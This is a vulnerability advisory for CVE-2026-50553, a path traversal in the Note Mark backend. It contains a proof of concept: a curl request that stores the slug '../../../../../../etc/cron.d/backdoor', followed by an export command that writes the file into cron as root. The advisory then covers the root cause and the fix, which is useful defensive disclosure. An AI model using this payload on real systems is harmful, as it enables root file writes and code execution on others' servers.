highCVE-2026-50553Jul 9, 2026

CVE-2026-50553: Note Mark Path Traversal via Unsanitized Book/Note Slug in Migrate Export

Shubham Kandhare
Security Engagement Manager, SecureLayer7

Any authenticated Note Mark user can store a directory-traversal string as a book or note slug, and when an admin runs the data-export command that slug is joined into a filesystem path without saniti

Packagegithub.com/enchant97/note-mark/backend
Ecosystemgo
Affected< 0.0.0-20260601210719-67b7de04308a
Fixed in0.0.0-20260601210719-67b7de04308a

The problem

Note Mark validates book and note slugs with the OpenAPI/huma tag `pattern:"[a-z0-9-]+"`. huma compiles and tests this pattern with `regexp.MustCompile` / `MatchString`, which performs an UNANCHORED substring match. A slug like `../../../../../../etc/cron.d/x` passes because the string contains the substring `etc`, which satisfies `[a-z0-9-]+`.

The data-export CLI commands (`note-mark migrate export` and `note-mark migrate export-v1`) join `book.Slug` and `note.Slug` raw into the output path via `path.Join`, then call `os.MkdirAll` and `os.Create`. Because `path.Join` resolves `../` segments, the note file `_index.md` is written outside the configured export directory.

These exports commonly run as root in Docker or bare-metal setups, making this an arbitrary directory-create plus arbitrary file-write as root, which can be escalated to code execution by targeting cron or systemd unit directories.

Proof of concept

A working proof-of-concept for CVE-2026-50553 in github.com/enchant97/note-mark/backend, with the exact payload below.

bash
# Step 1: create a book with a traversing slug (passes the unanchored [a-z0-9-]+ pattern)
curl -s -X POST http://localhost:8080/api/books \
  -H 'Content-Type: application/json' \
  -b "Auth-Session-Token=$TOKEN" \
  -d '{"name":"x","slug":"../../../../../../etc/cron.d/backdoor"}'
# Response echoes slug verbatim (HTTP 200/201) — slug is now stored in the DB.

# Step 2: admin triggers a routine export (commonly as root in Docker)
docker exec nm /note-mark migrate export-v1 --export-dir /data/backup
# path.Join("/data/backup", username, "../../../../../../etc/cron.d/backdoor")
# resolves to /etc/cron.d/backdoor — os.MkdirAll creates it,
# os.Create writes _index.md (attacker note content) there.

The root cause is a missing regex anchor. huma calls `patternRe.MatchString(str)`, not `regexp.MatchString("^[a-z0-9-]+$", str)`. A traversal slug like `../../../../../../etc/cron.d/backdoor` always contains at least one `[a-z0-9-]` substring, so it always passes (CWE-20 at the input layer).

The export sink (`backend/cli/migrate.go`) uses `path.Join(exportDir, user.Username, book.Slug)` and `path.Join(bookDir, note.Slug)` with no further sanitization. Go's `path.Join` resolves `../` eagerly, so the joined path escapes `exportDir` entirely (CWE-22).

The sibling `asset.Name` field was already patched with `filepath.Base()` in GHSA-g49p-4qxj-88v3, but `book.Slug` and `note.Slug` in the exact same `path.Join` calls were left raw.

The fix anchors the slug pattern to `^[a-z0-9-]+$` at the DTO/input layer (so traversal strings are rejected before touching the DB) and adds defense-in-depth `filepath.Base()` checks in both export functions, skipping any slug whose `Base()` differs from its raw value.

The fix

Update to commit `67b7de04308a858ef27ceff87b514067b6d667e5` (pseudo-version `0.0.0-20260601210719-67b7de04308a`) or any tagged release that includes it. The patch anchors the huma pattern tags to `pattern:"^[a-z0-9-]+$"` (and `^[a-zA-Z0-9]+$` for usernames) so traversal slugs are rejected at the API boundary, and adds `filepath.Base()` guard checks to both `commandMigrateExportData` and `commandMigrateExportDataV1` in `backend/cli/migrate.go` as defense in depth.

Reported by tonghuaroot.

References: [1][2][3]

Related research